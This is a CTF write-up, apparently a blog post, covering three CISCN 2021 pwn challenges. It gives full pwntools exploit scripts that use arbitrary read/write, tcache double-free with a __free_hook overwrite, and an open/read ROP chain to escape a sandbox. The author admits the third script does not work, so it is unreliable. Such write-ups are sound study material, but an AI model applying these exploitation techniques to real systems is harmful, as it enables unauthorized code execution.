ciscn2021西北部分pwn

打了一天的国赛,发现自己还是太菜了

pwny

读取随机数到bss段上作为文件描述符范围在0~0xff之间,又在自定义的函数sub_ba0中发现可以根据偏移进行任意写的操作,sub_b20可以根据偏移进行任意读操作,因此就可以覆盖fd的值,爆破fd使其等于0,我们就可以进行任意读写

ciscn2021西北部分pwn_第1张图片在这里插入图片描述ciscn2021西北部分pwn_第2张图片ciscn2021西北部分pwn_第3张图片

我们可以通过泄露出bss段上的stdout指针指向的_IO_2_1_stdout_的地址来泄露libc的基地址,在通过泄露data段上的off_202008来泄露bss段上的地址,再通过libc上的environ来泄露栈地址。
在这里插入图片描述
因此就可以通过偏移将onegadget直接写入栈上的返回地址中,获得shell。

用爆破调试有点麻烦,发现可以修改二进制程序,将fd直接改成0再进行调试。

exp如下:
from pwn import *
io=process('./pwny')
#io=remote('124.70.20.79',22270)
elf=ELF('./pwny')
#libc=ELF('./libc-2.27.so')
libc=elf.libc
context(log_level='debug')
context.terminal=['tmux','splitw','-h']

def read():
    io.recvuntil('Your choice: ')
    io.send('1 ')
    io.recvuntil('Index: ')

def write(a1):
    io.recvuntil('Your choice: ')
    io.send('2 ')
    io.recvuntil('Index: ')
    #gdb.attach(io)
    io.send(str(a1)+' ')

def exp():
    write(256)
    gdb.attach(io)
    read()
    #io.send('-64\n')
    io.send('\xF8\xFF\xFF\xFF\xFF\xFF\xFF\xff')
    #gdb.attach(io)
    io.recvuntil('Result: ')
    stdout=int(io.recv(12),16)
    print(hex(stdout))
    libcbase = stdout-libc.symbols['_IO_2_1_stdout_']
    print(hex(libcbase))
    system=libcbase+libc.symbols['system']
    stderr=libcbase+libc.symbols['_IO_2_1_stderr_']
    binsh=libcbase+libc.search('/bin/sh').next()
    environ=libcbase+libc.symbols['_environ']
    onegadget=[0x4f3d5,0x4f432,0x10a41c]
    #onegadget=[0x4f365,0x4f3c2,0x10a45c]
    #offset=(environ-(bss_addr+0x60))//8
    #gdb.attach(io)
    read()
    io.send('\xf5\xff\xff\xff\xff\xff\xff\xff')
    io.recvuntil('Result: ')
    bss_addr=int(io.recv(12),16)-8
    print(hex(bss_addr))

    read()
    offset=(environ-(bss_addr+0x60))//8
    io.send(p64(offset))
    io.recvuntil('Result: ')
    stack=int(io.recv(12),16)
    print(hex(stack))


    ret_addr=stack-0x120
    offset=((ret_addr-(bss_addr+0x60))//8)

    write(offset)
    payload=p64(libcbase+onegadget[2])
    io.send(payload)
    io.interactive()
    #io.sendline()

#exp()
i=0
while(i!=100):
    try:
        #io=remote('124.70.20.79',22270)
        io=process('./pwny')
        i+=1
        exp()
    except:
        i+=1
        io.close()

lonelywolf

常规的菜单题
发现漏洞在dele中对free后的指针没有置0
ciscn2021西北部分pwn_第4张图片

通过doublefree泄露heap_base控制fd指针来控制tcache_struct,将0x250对应的counts改为\xff在freetcache_struct来泄露libcbase的基地址,最后再通过doublefree修改fd指针为__free_hook-0x8(__free_hook-0x10前8个字节不知道为啥修改不了),在__free_hook-0x8出填上/bin/sh\x00,在__free_hook填上system地址,dele(0),拿到shell。但在打远程的时候,发现报出了doublefree漏洞,将第一次free后的tcache的fd和bk指针置0,在free就行了。

exp如下:

from pwn import *
#io = process('./lonelywolf')
io=remote('124.70.20.79',22175)
#elf=ELF('./lonelywolf')
#libc=elf.libc
libc=ELF('./libc-2.271.so')
#context(log_level='debug')

def add(a1,a2):
    io.sendafter('Your choice: ','1 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendafter('Size: ',str(a2)+' ')

def edit(a1,a2):
    io.sendafter('Your choice: ','2 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendlineafter('Content: ',a2)

def show(a1):
    io.sendafter('Your choice: ','3 ')
    io.sendafter('Index: ',str(a1)+' ')

def dele(a1):
    io.sendafter('Your choice: ','4 ')
    io.sendafter('Index: ',str(a1)+' ')

def exp():
    add(0,96)#0 0x60
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    show(0)
    io.recvuntil('Content: ')
    #print(io.recv(6))
    heapbase=u64(io.recv(6).ljust(8,'\x00'))-0x260
    #heapbase=int(io.recv(14),16)
    print(hex(heapbase))
    edit(0,p64(heapbase+0x10))
    add(0,96)
    #pause()
    add(0,96)#tcache
    edit(0,'\x00'*0x20+'\xff'*0x8)
    dele(0)
    #pause()
    show(0)
    io.recvuntil('Content: ')
    malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16
    libcbase=malloc_hook-libc.symbols['__malloc_hook']
    print(hex(libcbase))
    free_hook=libcbase+libc.symbols['__free_hook']
    system=libcbase+libc.symbols['system']
    add(0,120)#0x30
    edit(0,'\x00'*0x40)
    #pause()
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(free_hook-0x8)+p64(0))
    add(0,120)
    add(0,120)
    edit(0,'/bin/sh\x00'+p64(system))
    pause()
    dele(0)
    io.interactive()


exp()

silverwolf

是个沙箱堆题,libc2.27,第一次做,发现程序逻辑和上个题一样,知识不能用system,但可以使用open、read、write。思路就是利用libc中的environ将chunk申请到栈上,再覆盖返回地址构造rop,但在调试时发现一进入open函数就报错,我猜测是因为libc中的open函数是open64,所以不能绕过沙箱,先放上我的错误exp(希望哪位大佬可以帮我调试下,帮帮我这个小菜鸡),后续补上正确的exp。
ciscn2021西北部分pwn_第5张图片

from pwn import *
io = process('./silverwolf')
#io=remote('124.70.20.79',22220)
elf=ELF('./silverwolf')
libc=elf.libc
#libc=ELF('./libc-2.27.so')

context.terminal=['tmux','splitw','-h']
context(log_level='debug')
#pop_rdi=0x215bf
#pop_rsi=0x23ee
#pop_rdx=0x1b96
#pop_rdx_rsi=0x130569

pop_rax=0x43a78
pop_rdx_rsi=0x130889
pop_rdi=0x2155f
pop_rsi=0x23e8a
pop_rdx=0x1b96

def add(a1,a2):
    io.sendafter('Your choice: ','1 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendafter('Size: ',str(a2)+' ')

def edit(a1,a2):
    io.sendafter('Your choice: ','2 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendlineafter('Content: ',a2)

def show(a1):
    io.sendafter('Your choice: ','3 ')
    io.sendafter('Index: ',str(a1)+' ')

def dele(a1):
    io.sendafter('Your choice: ','4 ')
    io.sendafter('Index: ',str(a1)+' ')

def exp():
    add(0,80)#0 0x50
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    show(0)
    io.recvuntil('Content: ')
    #print(io.recv(6))
    heapbase=u64(io.recv(6).ljust(8,'\x00'))-0x1880
    print(hex(heapbase))
    edit(0,p64(heapbase+0x10))
    add(0,80)
    #pause()
    add(0,88)#tcache
    edit(0,'\x00'*6+'\x01'+'\x00'*(0x20-7)+'\xff'*0x8+'\x00'*0x2f)
    add(0,120)
    dele(0)
    edit(0,p64(heapbase+0x40))
    add(0,120)
    add(0,120)#tcache+0x40
    edit(0,'\x00'*0x70)

    add(0,96)
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(heapbase+0x10))
    add(0,96)
    add(0,96)#tcache
    #pause()

    dele(0)
    #pause()
    show(0)
    io.recvuntil('Content: ')
    malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16
    libcbase=malloc_hook-libc.symbols['__malloc_hook']
    print(hex(libcbase))
    free_hook=libcbase+libc.symbols['__free_hook']
    environ=libcbase+libc.symbols['environ']
    opens=libcbase+libc.symbols['open']
    reads=libcbase+libc.symbols['read']

    add(0,120)#0x78
    #pause()
    edit(0,'\x00'*0x68+p64(environ))
    add(0,96)#environ
    show(0)
    io.recvuntil('Content: ')
	stack = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    #print(hex(stack))
    #gdb.attach(io)
    #pause()
    add_stack=stack-0x120
    print(hex(add_stack))
    add(0,120)#0x78
    dele(0)
    #pause()
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(add_stack))
    add(0,120)
    #pause()
    add(0,120)#stack
    show(0)
    #pause()
    io.recvuntil('Content: ')
    main=u64(io.recv(6).ljust(8,'\x00'))+0x10
    print(hex(main))
   
    #open('./flag',0)
  
    orw=p64(pop_rdi+libcbase)+p64(add_stack+0x60)+p64(pop_rsi+libcbase)+p64(0)+p64(opens)
    #read(fd,buf,0x30)
    orw+=p64(pop_rdi+libcbase)+p64(3)+p64(pop_rdx_rsi+libcbase)+p64(0x30)+p64(heapbase+0x10)+p64(reads)+p64(main)+'./flag\x00\x00'
    #write(fd,buf,0x30)
    #orw+=p64(pop_rdi+libcbase)+p64(1)+p64(pop_rsi+libcbase)+p64(heapbase+0x10)+p64(pop_rdx+libcbase)+p64(0x30)+'./flag\x00\x00'
    print(len(orw))
    gdb.attach(io)
    edit(0,orw)

    add(0,80)
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(heapbase+0x10))
    add(0,80)
    add(0,80)
    #gdb.attach(io)
    #io.recvuntil('\n',timeout=10000000)
    show(0)

exp()
                           

你可能感兴趣的:(pwn)